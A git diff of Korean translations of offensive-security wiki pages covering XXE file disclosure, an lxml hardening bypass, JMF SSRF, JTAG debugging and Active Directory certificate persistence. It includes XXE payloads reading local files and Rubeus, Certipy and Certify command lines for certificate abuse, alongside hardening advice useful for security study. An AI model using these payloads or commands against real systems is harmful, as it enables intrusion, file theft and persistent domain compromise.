1. **정의되지 않은** 파라미터 엔티티(예: `%config_hex;`)를 정의하는 *로컬* DTD를 디스크에 식별하거나 생성합니다.
|
||||
@ -692,8 +692,8 @@ https://github.com/luisfontes19/xxexploiter
|
||||
* `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`로 로컬 DTD를 로드합니다.
|
||||
* 정의되지 않은 엔티티를 재정의하여:
|
||||
- 대상 파일을 읽습니다 (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- `%flag;` 값을 포함하는 **잘못된 경로**를 참조하는 또 다른 파라미터 엔티티를 생성하고 파서 오류를 유발합니다 (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. 마지막으로 `%local_dtd;`와 `%eval;`를 확장하여 파서가 `%error;`를 만나고 `/aaa/<FLAG>`를 열지 못하게 하며, 던져진 예외 안에 플래그가 누출됩니다 – 이는 종종 애플리케이션에 의해 사용자에게 반환됩니다.
|
||||
- `%flag;` 값을 포함하는 **잘못된 경로**를 참조하는 또 다른 파라미터 엔티티를 구축하고 파서 오류를 유발합니다 (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. 마지막으로 `%local_dtd;`와 `%eval;`를 확장하여 파서가 `%error;`를 만나고 `/aaa/<FLAG>`를 열지 못해 플래그가 발생한 예외 내에 누출됩니다 – 이는 종종 애플리케이션에 의해 사용자에게 반환됩니다.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
@ -709,13 +709,13 @@ https://github.com/luisfontes19/xxexploiter
|
||||
Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
> [!TIP]
|
||||
> 파서가 내부 서브셋 내의 `%`/`&` 문자에 대해 불평하는 경우, 이들을 이중 인코딩하여(`&#x25;` ⇒ `%`) 확장을 지연시킵니다.
|
||||
> 파서가 내부 서브셋 내의 `%`/`&` 문자에 대해 불평하는 경우, 이들을 이중 인코딩(`&#x25;` ⇒ `%`)하여 확장을 지연시킵니다.
|
||||
|
||||
#### 2. lxml 5.4.0 하드닝 우회 (libxml2는 여전히 취약함)
|
||||
`lxml` ≥ 5.4.0은 위와 같은 *error* 매개변수 엔티티를 금지하지만, **libxml2**는 여전히 이를 *general* 엔티티에 포함할 수 있도록 허용합니다. 요령은 다음과 같습니다:
|
||||
1. 파일을 매개변수 엔티티 `%file`로 읽습니다.
|
||||
2. *non-existent protocol*인 `meow://%file;`을 사용하는 **general** 엔티티 `c`를 구축하는 또 다른 매개변수 엔티티를 선언합니다.
|
||||
3. XML 본문에 `&c;`를 배치합니다. 파서가 `meow://…`를 역참조하려고 할 때 실패하고 오류 메시지에 파일 내용이 포함된 전체 URI를 반영합니다.
|
||||
3. XML 본문에 `&c;`를 배치합니다. 파서가 `meow://…`를 역참조하려고 할 때 실패하고 오류 메시지에 파일 내용을 포함한 전체 URI를 반영합니다.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % a '
|
||||
@ -727,18 +727,18 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
<colors>&c;</colors>
|
||||
```
|
||||
#### 주요 내용
|
||||
* **매개변수 엔티티**는 `resolve_entities`가 XXE를 차단해야 할 때에도 libxml2에 의해 여전히 확장됩니다.
|
||||
* **파라미터 엔티티**는 `resolve_entities`가 XXE를 차단해야 할 때에도 libxml2에 의해 여전히 확장됩니다.
|
||||
* **유효하지 않은 URI** 또는 **존재하지 않는 파일**만으로도 제어된 데이터를 발생한 예외에 연결할 수 있습니다.
|
||||
* 이 기술은 **아웃바운드 연결 없이** 작동하므로, 엄격한 이그레스 필터링 환경에 이상적입니다.
|
||||
* 이 기술은 **아웃바운드 연결 없이** 작동하므로, 엄격하게 이그레스 필터링된 환경에 이상적입니다.
|
||||
|
||||
#### 완화 지침
|
||||
* **lxml ≥ 5.4.0**으로 업그레이드하고 기본 **libxml2**가 **≥ 2.13.8**인지 확인하십시오.
|
||||
* 절대 필요한 경우가 아니면 `load_dtd` 및/또는 `resolve_entities`를 비활성화하십시오.
|
||||
* 클라이언트에 원시 파서 오류를 반환하지 않도록 하십시오.
|
||||
* **lxml ≥ 5.4.0**으로 업그레이드하고, 기본 **libxml2**가 **≥ 2.13.8**인지 확인하십시오.
|
||||
* 절대 필요하지 않는 한 `load_dtd` 및/또는 `resolve_entities`를 비활성화하십시오.
|
||||
* 클라이언트에게 원시 파서 오류를 반환하지 마십시오.
|
||||
|
||||
### Java DocumentBuilderFactory 강화 예시
|
||||
|
||||
Java 애플리케이션은 종종 `DocumentBuilderFactory`를 사용하여 XML을 구문 분석합니다. 기본적으로 이 팩토리는 **외부 엔티티 해석을 허용**하므로, 추가적인 강화 플래그가 설정되지 않으면 XXE 및 SSRF에 취약합니다:
|
||||
Java 애플리케이션은 종종 `DocumentBuilderFactory`를 사용하여 XML을 파싱합니다. 기본적으로 이 팩토리는 **외부 엔티티 해석을 허용**하므로, 추가적인 강화 플래그가 설정되지 않으면 XXE 및 SSRF에 취약합니다:
|
||||
```java
|
||||
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
|
||||
@ -765,18 +765,18 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
애플리케이션이 내부적으로 DTD를 지원해야 하는 경우, `disallow-doctype-decl`을 비활성화 상태로 유지하되 **항상** 두 개의 `external-*-entities` 기능은 `false`로 설정해야 합니다. 이 조합은 고전적인 파일 노출 페이로드(`file:///etc/passwd`)와 네트워크 기반 SSRF 벡터(`http://169.254.169.254/…`, `jar:` 프로토콜 등)를 방지합니다.
|
||||
|
||||
실제 사례 연구: **CVE-2025-27136**에서 Java S3 에뮬레이터 *LocalS3*는 위에 표시된 취약한 생성자를 사용했습니다. 인증되지 않은 공격자는 `CreateBucketConfiguration` 엔드포인트에 조작된 XML 본문을 제공하여 서버가 HTTP 응답에 로컬 파일(예: `/etc/passwd`)을 포함하도록 할 수 있었습니다.
|
||||
실제 사례 연구: **CVE-2025-27136**는 Java S3 에뮬레이터 *LocalS3*에서 위에 보여준 취약한 생성자를 사용했습니다. 인증되지 않은 공격자는 `CreateBucketConfiguration` 엔드포인트에 조작된 XML 본문을 제공하여 서버가 HTTP 응답에 로컬 파일(예: `/etc/passwd`)을 포함하도록 할 수 있었습니다.
|
||||
|
||||
### JMF/프린트 오케스트레이션 서비스의 XXE → SSRF
|
||||
|
||||
일부 프린트 워크플로우/오케스트레이션 플랫폼은 XML을 TCP를 통해 수신하는 네트워크 대면 Job Messaging Format (JMF) 리스너를 노출합니다. 기본 파서가 `DOCTYPE`을 수용하고 외부 엔티티를 해결하는 경우, 고전적인 XXE를 활용하여 서버가 아웃바운드 요청(SSRF)을 하거나 로컬 리소스에 접근하도록 강제할 수 있습니다.
|
||||
|
||||
현장에서 관찰된 주요 사항:
|
||||
- 전용 포트(일반적으로 Xerox FreeFlow Core의 경우 4004)에서의 네트워크 리스너(예: JMF 클라이언트).
|
||||
- 전용 포트(일반적으로 Xerox FreeFlow Core의 4004)에서의 네트워크 리스너(예: JMF 클라이언트).
|
||||
- `disallow-doctype-decl` 또는 엔티티 해제가 비활성화된 상태에서 jar 내의 Java 기반 XML 파싱(예: `jmfclient.jar`).
|
||||
- 아웃오브밴드 콜백이 신뢰성 있게 익스플로잇을 확인합니다.
|
||||
- 아웃오브밴드 콜백이 신뢰할 수 있게 익스플로잇을 확인합니다.
|
||||
|
||||
최소 JMF 스타일 SSRF 프로브(구조는 제품에 따라 다르지만 DOCTYPE이 중요함):
|
||||
최소 JMF 스타일 SSRF 프로브(구조는 제품에 따라 다르지만 DOCTYPE이 중요합니다):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE JMF [
|
||||
@ -789,7 +789,7 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
노트:
|
||||
- 엔티티 URL을 협력자로 교체하세요. SSRF가 가능하면 서버가 메시지를 파싱하는 동안 이를 해결합니다.
|
||||
- 확인해야 할 하드닝: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`.
|
||||
- JMF 포트가 파일을 제공하지 않더라도, SSRF는 내부 재조사 또는 로컬호스트에 바인딩된 관리 API에 도달하기 위해 체인될 수 있습니다.
|
||||
- JMF 포트가 파일을 제공하지 않더라도, SSRF는 내부 재조사 또는 로컬호스트에 바인딩된 관리 API에 도달하기 위해 연결될 수 있습니다.
|
||||
|
||||
이 벡터에 대한 참조는 페이지 끝에 나열되어 있습니다.
|
||||
|
||||
|
@ -10,14 +10,14 @@ README.md
|
||||
|
||||
[**JTAGenum**](https://github.com/cyphunk/JTAGenum)은 Arduino 호환 MCU 또는 (실험적으로) Raspberry Pi에 로드하여 알려지지 않은 JTAG 핀 배치를 무차별 대입하고 심지어 명령 레지스터를 열거할 수 있는 도구입니다.
|
||||
|
||||
- Arduino: 디지털 핀 D2–D11을 최대 10개의 의심되는 JTAG 패드/테스트 포인트에 연결하고, Arduino GND를 타겟 GND에 연결합니다. 레일이 안전하다는 것을 모르는 한 타겟에 별도로 전원을 공급하십시오. 3.3 V 로직을 선호하거나 (예: Arduino Due) 1.8–3.3 V 타겟을 프로빙할 때 레벨 시프터/직렬 저항기를 사용하십시오.
|
||||
- Raspberry Pi: Pi 빌드는 사용 가능한 GPIO가 적어 (스캔 속도가 느림) 현재 핀 맵과 제약 사항은 레포를 확인하십시오.
|
||||
- Arduino: 디지털 핀 D2–D11을 최대 10개의 의심되는 JTAG 패드/테스트 포인트에 연결하고, Arduino GND를 타겟 GND에 연결합니다. 레일이 안전하다는 것을 모르는 한 타겟에 별도로 전원을 공급하십시오. 3.3 V 로직(예: Arduino Due)을 선호하거나 1.8–3.3 V 타겟을 프로빙할 때 레벨 시프터/직렬 저항기를 사용하십시오.
|
||||
- Raspberry Pi: Pi 빌드는 사용 가능한 GPIO가 적어 스캔 속도가 느립니다; 현재 핀 맵과 제약 사항은 레포를 확인하십시오.
|
||||
|
||||
플래시가 완료되면 115200 보드에서 시리얼 모니터를 열고 도움을 위해 `h`를 전송하십시오. 일반적인 흐름:
|
||||
플래시가 완료되면 115200 보드에서 시리얼 모니터를 열고 `h`를 보내 도움을 요청합니다. 일반적인 흐름:
|
||||
|
||||
- `l` 루프백을 찾아 잘못된 긍정을 피합니다.
|
||||
- `l` 루프백을 찾아 잘못된 긍정 결과를 피합니다.
|
||||
- `r` 필요시 내부 풀업을 전환합니다.
|
||||
- `s` TCK/TMS/TDI/TDO (때때로 TRST/SRST)를 스캔합니다.
|
||||
- `s` TCK/TMS/TDI/TDO(때때로 TRST/SRST)를 스캔합니다.
|
||||
- `y` 문서화되지 않은 연산 코드를 발견하기 위해 IR을 무차별 대입합니다.
|
||||
- `x` 핀 상태의 경계 스캔 스냅샷을 생성합니다.
|
||||
|
||||
@ -27,17 +27,17 @@ README.md
|
||||
|
||||
.png>)
|
||||
|
||||
유효한 TAP이 발견되면 발견된 핀을 나타내는 `FOUND!`로 시작하는 줄이 표시됩니다.
|
||||
유효한 TAP이 발견되면 `FOUND!`로 시작하는 줄이 표시되어 발견된 핀을 나타냅니다.
|
||||
|
||||
팁
|
||||
- 항상 접지를 공유하고, 알려지지 않은 핀을 타겟 Vtref 이상으로 구동하지 마십시오. 의심스러운 경우 후보 핀에 100–470 Ω 직렬 저항기를 추가하십시오.
|
||||
- 장치가 4선 JTAG 대신 SWD/SWJ를 사용하는 경우 JTAGenum이 이를 감지하지 못할 수 있습니다. SWD 도구나 SWJ-DP를 지원하는 어댑터를 사용해 보십시오.
|
||||
- 장치가 4선 JTAG 대신 SWD/SWJ를 사용하는 경우 JTAGenum이 이를 감지하지 못할 수 있습니다; SWD 도구나 SWJ-DP를 지원하는 어댑터를 시도하십시오.
|
||||
|
||||
## Safer pin hunting and hardware setup
|
||||
|
||||
- 멀티미터로 먼저 Vtref와 GND를 식별하십시오. 많은 어댑터는 I/O 전압을 설정하기 위해 Vtref가 필요합니다.
|
||||
- 레벨 시프팅: 푸시-풀 신호를 위해 설계된 양방향 레벨 시프터를 선호하십시오 (JTAG 라인은 오픈 드레인이 아닙니다). JTAG에 대해 자동 방향 I2C 시프터는 피하십시오.
|
||||
- 유용한 어댑터: FT2232H/FT232H 보드 (예: Tigard), CMSIS-DAP, J-Link, ST-LINK (벤더 특정), ESP-USB-JTAG (ESP32-Sx에서). 최소한 TCK, TMS, TDI, TDO, GND 및 Vtref를 연결하십시오; 선택적으로 TRST 및 SRST를 추가하십시오.
|
||||
- 멀티미터로 먼저 Vtref와 GND를 식별합니다. 많은 어댑터는 I/O 전압을 설정하기 위해 Vtref가 필요합니다.
|
||||
- 레벨 시프팅: 푸시-풀 신호를 위해 설계된 양방향 레벨 시프터를 선호합니다(JTAG 라인은 오픈 드레인이 아닙니다). JTAG에 대해 자동 방향 I2C 시프터는 피하십시오.
|
||||
- 유용한 어댑터: FT2232H/FT232H 보드(예: Tigard), CMSIS-DAP, J-Link, ST-LINK(벤더 특정), ESP-USB-JTAG(ESP32-Sx에서). 최소한 TCK, TMS, TDI, TDO, GND 및 Vtref를 연결하십시오; 선택적으로 TRST 및 SRST를 추가하십시오.
|
||||
|
||||
## First contact with OpenOCD (scan and IDCODE)
|
||||
|
||||
@ -83,7 +83,7 @@ Tips
|
||||
|
||||
CPU 디버그 접근이 잠겨 있어도 경계 스캔이 여전히 노출될 수 있습니다. UrJTAG/OpenOCD를 사용하여:
|
||||
- 시스템이 실행되는 동안 핀 상태를 스냅샷하기 위해 SAMPLE을 사용하세요 (버스 활동 찾기, 핀 매핑 확인).
|
||||
- EXTEST를 사용하여 핀을 구동하세요 (예: 보드 배선이 허용하는 경우 MCU를 통해 외부 SPI 플래시 라인을 비트 뱅킹하여 오프라인에서 읽기).
|
||||
- 핀을 구동하기 위해 EXTEST를 사용하세요 (예: 보드 배선이 허용하는 경우 MCU를 통해 외부 SPI 플래시 라인을 비트 뱅킹하여 오프라인에서 읽기).
|
||||
|
||||
FT2232x 어댑터를 사용한 최소 UrJTAG 흐름:
|
||||
```
|
||||
@ -97,20 +97,20 @@ jtag> dr <bit pattern for boundary register>
|
||||
```
|
||||
장치 BSDL이 필요하여 경계 레지스터 비트 순서를 알아야 합니다. 일부 공급업체는 생산 중에 경계 스캔 셀을 잠글 수 있으니 주의하세요.
|
||||
|
||||
## 현대의 타겟 및 주의사항
|
||||
## 현대 대상 및 주의 사항
|
||||
|
||||
- ESP32‑S3/C3는 네이티브 USB‑JTAG 브리지를 포함하고 있으며, OpenOCD는 외부 프로브 없이 USB를 통해 직접 통신할 수 있습니다. 이는 긴급 대응 및 덤프에 매우 편리합니다.
|
||||
- RISC‑V 디버그(v0.13+)는 OpenOCD에서 널리 지원되며, 코어를 안전하게 중단할 수 없는 경우 메모리 접근을 위해 SBA를 선호합니다.
|
||||
- 많은 MCU가 디버그 인증 및 생애 주기 상태를 구현합니다. JTAG가 작동하지 않는 것처럼 보이지만 전원이 올바른 경우, 장치가 폐쇄 상태로 퓨즈되었거나 인증된 프로브가 필요할 수 있습니다.
|
||||
- ESP32‑S3/C3는 네이티브 USB‑JTAG 브리지를 포함합니다. OpenOCD는 외부 프로브 없이 USB를 통해 직접 통신할 수 있습니다. 긴급 상황 및 덤프에 매우 편리합니다.
|
||||
- RISC‑V 디버그(v0.13+)는 OpenOCD에서 널리 지원됩니다. 코어를 안전하게 중지할 수 없는 경우 메모리 접근을 위해 SBA를 선호하세요.
|
||||
- 많은 MCU가 디버그 인증 및 생애 주기 상태를 구현합니다. JTAG가 죽은 것처럼 보이지만 전원이 올바른 경우, 장치가 닫힌 상태로 퓨즈가 걸렸거나 인증된 프로브가 필요할 수 있습니다.
|
||||
|
||||
## 방어 및 강화(실제 장치에서 기대할 수 있는 것)
|
||||
|
||||
- 생산 중 JTAG/SWD를 영구적으로 비활성화하거나 잠급니다(예: STM32 RDP 레벨 2, PAD JTAG를 비활성화하는 ESP eFuses, NXP/Nordic APPROTECT/DPAP).
|
||||
- 제조 접근을 유지하면서 인증된 디버그를 요구합니다(ARMv8.2‑A ADIv6 디버그 인증, OEM 관리 챌린지-응답).
|
||||
- 쉬운 테스트 패드를 배치하지 마세요; 테스트 비아를 숨기고, TAP을 격리하기 위해 저항기를 제거/배치하며, 키잉 또는 포고 핀 고정 장치가 있는 커넥터를 사용하세요.
|
||||
- 제조 접근을 유지하면서 인증된 디버그(ARMv8.2‑A ADIv6 디버그 인증, OEM 관리 챌린지-응답)를 요구합니다.
|
||||
- 쉬운 테스트 패드를 배치하지 마세요; 테스트 비아를 숨기고, TAP을 격리하기 위해 저항을 제거/배치하며, 키가 있는 커넥터 또는 포고 핀 장치를 사용하세요.
|
||||
- 전원 켜기 디버그 잠금: 초기 ROM 뒤에 TAP을 게이트하여 보안 부팅을 강제합니다.
|
||||
|
||||
## 참고자료
|
||||
## 참고 문헌
|
||||
|
||||
- OpenOCD 사용자 가이드 – JTAG 명령 및 구성. https://openocd.org/doc-release/html/JTAG-Commands.html
|
||||
- Espressif ESP32‑S3 JTAG 디버깅(USB‑JTAG, OpenOCD 사용). https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-guides/jtag-debugging/
|
||||
|
@ -1,54 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
핑 응답 TTL:\
|
||||
127 = Windows\
|
||||
254 = Cisco\
|
||||
나머지, 어떤 리눅스
|
||||
|
||||
$1$- md5\
|
||||
$2$ 또는 $2a$ - Blowfish\
|
||||
$5$- sha256\
|
||||
$6$- sha512
|
||||
|
||||
서비스 뒤에 무엇이 있는지 모른다면, HTTP GET 요청을 시도해 보세요.
|
||||
|
||||
**UDP 스캔**\
|
||||
nc -nv -u -z -w 1 \<IP> 160-16
|
||||
|
||||
특정 포트로 빈 UDP 패킷이 전송됩니다. UDP 포트가 열려 있으면, 대상 머신에서 응답이 전송되지 않습니다. UDP 포트가 닫혀 있으면, 대상 머신에서 ICMP 포트 도달 불가 패킷이 전송되어야 합니다.\
|
||||
UDP 포트 스캔은 종종 신뢰할 수 없으며, 방화벽과 라우터가 ICMP 패킷을 차단할 수 있습니다. 이는 스캔에서 잘못된 긍정 결과를 초래할 수 있으며, 스캔된 머신에서 모든 UDP 포트가 열려 있는 것으로 표시되는 경우가 자주 있습니다.\
|
||||
대부분의 포트 스캐너는 사용 가능한 모든 포트를 스캔하지 않으며, 일반적으로 스캔할 "흥미로운 포트"의 미리 설정된 목록을 가지고 있습니다.
|
||||
|
||||
# CTF - 트릭
|
||||
|
||||
**Windows**에서 **Winzip**을 사용하여 파일을 검색하세요.\
|
||||
**대체 데이터 스트림**: _dir /r | find ":$DATA"_
|
||||
```
|
||||
binwalk --dd=".*" <file> #Extract everything
|
||||
binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000)
|
||||
```
|
||||
## Crypto
|
||||
|
||||
**featherduster**\
|
||||
|
||||
**Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\
|
||||
**Base32**(5 —>8) —> A…Z, 2…7\
|
||||
**Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\
|
||||
**Uuencode** --> Start with "_begin \<mode> \<filename>_" and weird chars\
|
||||
**Xxencoding** --> Start with "_begin \<mode> \<filename>_" and B64\
|
||||
\
|
||||
**Vigenere** (frequency analysis) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\
|
||||
**Scytale** (offset of characters) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher)
|
||||
|
||||
**25x25 = QR**
|
||||
|
||||
factordb.com\
|
||||
rsatool
|
||||
|
||||
Snow --> 메시지를 공백과 탭을 사용하여 숨기기
|
||||
|
||||
# Characters
|
||||
|
||||
%E2%80%AE => RTL Character (writes payloads backwards)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**이것은 [https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)에서의 훌륭한 연구의 계정 지속성 장에 대한 간단한 요약입니다.**
|
||||
**이것은 [https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)에서의 멋진 연구의 계정 지속성 장에 대한 간단한 요약입니다.**
|
||||
|
||||
## 인증서를 통한 활성 사용자 자격 증명 도난 이해 – PERSIST1
|
||||
## 인증서로 활성 사용자 자격 증명 도난 이해하기 – PERSIST1
|
||||
|
||||
사용자가 도메인 인증을 허용하는 인증서를 요청할 수 있는 시나리오에서, 공격자는 이 인증서를 요청하고 훔쳐 네트워크에서 지속성을 유지할 기회를 갖습니다. 기본적으로 Active Directory의 `User` 템플릿은 이러한 요청을 허용하지만, 때때로 비활성화될 수 있습니다.
|
||||
|
||||
@ -32,7 +32,7 @@ Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /
|
||||
# Or with Certipy
|
||||
certipy auth -pfx user.pfx -dc-ip 10.0.0.10
|
||||
```
|
||||
> 참고: 다른 기술과 결합하여 (THEFT 섹션 참조), 인증서 기반 인증은 LSASS에 손대지 않고 비승격된 컨텍스트에서도 지속적인 액세스를 허용합니다.
|
||||
> 참고: 다른 기술과 결합하여 (THEFT 섹션 참조), 인증서 기반 인증은 LSASS에 손대지 않고 비승격 컨텍스트에서도 지속적인 접근을 허용합니다.
|
||||
|
||||
## 인증서를 통한 머신 지속성 확보 - PERSIST2
|
||||
|
||||
@ -66,7 +66,7 @@ certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
|
||||
고수준 흐름:
|
||||
|
||||
1. 제어하는 클라이언트 인증서를 얻거나 발급합니다(예: `User` 템플릿에 본인으로 등록).
|
||||
2. 인증서에서 강력한 식별자를 추출합니다(발급자+일련번호, SKI 또는 SHA1-공개키).
|
||||
2. 인증서에서 강력한 식별자를 추출합니다(발급자+일련번호, SKI 또는 SHA1-PublicKey).
|
||||
3. 해당 식별자를 사용하여 피해자 주체의 `altSecurityIdentities`에 명시적 매핑을 추가합니다.
|
||||
4. 인증서로 인증합니다; DC는 이를 명시적 매핑을 통해 피해자에게 매핑합니다.
|
||||
|
||||
@ -84,19 +84,19 @@ Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||
```bash
|
||||
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
|
||||
```
|
||||
노트
|
||||
- 강력한 매핑 유형만 사용하십시오: X509IssuerSerialNumber, X509SKI 또는 X509SHA1PublicKey. 약한 형식(주체/발급자, 주체 전용, RFC822 이메일)은 더 이상 사용되지 않으며 DC 정책에 의해 차단될 수 있습니다.
|
||||
- 인증서 체인은 DC에서 신뢰하는 루트로 구축되어야 합니다. NTAuth의 엔터프라이즈 CA는 일반적으로 신뢰되며, 일부 환경에서는 공용 CA도 신뢰합니다.
|
||||
Notes
|
||||
- 강력한 매핑 유형만 사용하십시오: X509IssuerSerialNumber, X509SKI 또는 X509SHA1PublicKey. 약한 형식(Subject/Issuer, Subject-only, RFC822 이메일)은 더 이상 사용되지 않으며 DC 정책에 의해 차단될 수 있습니다.
|
||||
- 인증서 체인은 DC에서 신뢰하는 루트로 구축되어야 합니다. NTAuth의 엔터프라이즈 CA는 일반적으로 신뢰되며, 일부 환경에서는 공용 CA도 신뢰합니다.
|
||||
|
||||
약한 명시적 매핑 및 공격 경로에 대한 자세한 내용은 다음을 참조하십시오:
|
||||
약한 명시적 매핑 및 공격 경로에 대한 자세한 내용은 다음을 참조하십시오:
|
||||
|
||||
{{#ref}}
|
||||
domain-escalation.md
|
||||
{{#endref}}
|
||||
{{#ref}}
|
||||
domain-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
## 등록 에이전트를 통한 지속성 – PERSIST5
|
||||
## Enrollment Agent as Persistence – PERSIST5
|
||||
|
||||
유효한 인증서 요청 에이전트/등록 에이전트 인증서를 얻으면 사용자를 대신하여 새로운 로그온 가능 인증서를 마음대로 발급할 수 있으며, 에이전트 PFX를 오프라인 상태로 유지하여 지속성 토큰으로 사용할 수 있습니다. 남용 워크플로우:
|
||||
유효한 Certificate Request Agent/Enrollment Agent 인증서를 얻으면 사용자를 대신하여 새로운 로그온 가능 인증서를 마음대로 발급할 수 있으며, 에이전트 PFX를 오프라인 상태로 유지하여 지속성 토큰으로 사용할 수 있습니다. 남용 워크플로우:
|
||||
```bash
|
||||
# Request an Enrollment Agent cert (requires template rights)
|
||||
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
|
||||
@ -109,13 +109,13 @@ Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \
|
||||
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
|
||||
-template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx
|
||||
```
|
||||
에이전트 인증서 또는 템플릿 권한의 폐지가 이 지속성을 제거하는 데 필요합니다.
|
||||
에이전트 인증서 또는 템플릿 권한의 폐기가 이 지속성을 제거하는 데 필요합니다.
|
||||
|
||||
## 2025 강력한 인증서 매핑 시행: 지속성에 미치는 영향
|
||||
|
||||
Microsoft KB5014754는 도메인 컨트롤러에서 강력한 인증서 매핑 시행을 도입했습니다. 2025년 2월 11일부터 DC는 기본적으로 전체 시행으로 설정되어 약한/모호한 매핑을 거부합니다. 실질적인 의미:
|
||||
|
||||
- SID 매핑 확장이 없는 2022년 이전 인증서는 DC가 전체 시행 모드일 때 암묵적 매핑에 실패할 수 있습니다. 공격자는 AD CS를 통해 인증서를 갱신하여 SID 확장을 얻거나 `altSecurityIdentities`에 강력한 명시적 매핑을 심어 접근을 유지할 수 있습니다 (PERSIST4).
|
||||
- SID 매핑 확장이 없는 2022년 이전 인증서는 DC가 전체 시행 상태일 때 암묵적 매핑에 실패할 수 있습니다. 공격자는 AD CS를 통해 인증서를 갱신하여 SID 확장을 얻거나 `altSecurityIdentities`에 강력한 명시적 매핑을 심어 접근을 유지할 수 있습니다 (PERSIST4).
|
||||
- 강력한 형식(발급자+일련번호, SKI, SHA1-공개키)을 사용하는 명시적 매핑은 계속 작동합니다. 약한 형식(발급자/주체, 주체 전용, RFC822)은 차단될 수 있으며 지속성을 위해 피해야 합니다.
|
||||
|
||||
관리자는 다음을 모니터링하고 경고해야 합니다:
|
||||
|
@ -5,18 +5,18 @@
|
||||
|
||||
## Basics of Resource-based Constrained Delegation
|
||||
|
||||
이것은 기본 [Constrained Delegation](constrained-delegation.md)와 유사하지만 **대신** **객체**에 **사용자를 가장할 수 있는 권한을 부여하는** 것이 아니라, Resource-based Constrained Delegation은 **어떤 사용자가 그 객체에 대해 가장할 수 있는지를 설정합니다**.
|
||||
이것은 기본 [Constrained Delegation](constrained-delegation.md)와 유사하지만 **대신** **객체**에 **사용자를 가장할 수 있는 권한**을 부여하는 것이 아니라, 리소스 기반 제약 위임은 **어떤 사용자가 그것에 대해 가장할 수 있는지를 설정합니다**.
|
||||
|
||||
이 경우, 제약 객체는 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_라는 속성을 가지며, 이 속성에는 그 객체에 대해 다른 사용자를 가장할 수 있는 사용자의 이름이 포함됩니다.
|
||||
이 경우, 제약 객체는 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_라는 속성을 가지며, 이는 그 객체에 대해 다른 사용자를 가장할 수 있는 사용자의 이름을 포함합니다.
|
||||
|
||||
이 제약 위임의 또 다른 중요한 차이점은 **기계 계정에 대한 쓰기 권한** (_GenericAll/GenericWrite/WriteDacl/WriteProperty 등)을 가진 사용자는 **_msDS-AllowedToActOnBehalfOfOtherIdentity_**를 설정할 수 있다는 것입니다 (다른 형태의 위임에서는 도메인 관리자 권한이 필요했습니다).
|
||||
이 제약 위임과 다른 위임 간의 또 다른 중요한 차이점은 **기계 계정에 대한 쓰기 권한**(_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_)을 가진 사용자는 **_msDS-AllowedToActOnBehalfOfOtherIdentity_**를 설정할 수 있다는 것입니다 (다른 형태의 위임에서는 도메인 관리자 권한이 필요했습니다).
|
||||
|
||||
### New Concepts
|
||||
|
||||
제약 위임에서는 사용자의 _userAccountControl_ 값 내에 있는 **`TrustedToAuthForDelegation`** 플래그가 **S4U2Self**를 수행하는 데 필요하다고 언급되었습니다. 하지만 그것은 완전히 사실이 아닙니다.\
|
||||
실제로는 그 값이 없더라도 **서비스**(SPN이 있는 경우)라면 어떤 사용자에 대해서도 **S4U2Self**를 수행할 수 있지만, **`TrustedToAuthForDelegation`**가 있으면 반환된 TGS는 **Forwardable**이 되고, 그 플래그가 없으면 반환된 TGS는 **Forwardable**이 **아닙니다**.
|
||||
|
||||
그러나 **S4U2Proxy**에서 사용되는 **TGS**가 **Forwardable이 아닐 경우**, 기본 제약 위임을 악용하려고 해도 **작동하지 않습니다**. 하지만 Resource-Based 제약 위임을 악용하려고 하면 **작동합니다**.
|
||||
그러나 **S4U2Proxy**에서 사용되는 **TGS**가 **Forwardable이 아닐 경우**, 기본 제약 위임을 악용하려고 하면 **작동하지 않습니다**. 하지만 리소스 기반 제약 위임을 악용하려고 하면 **작동합니다**.
|
||||
|
||||
### Attack structure
|
||||
|
||||
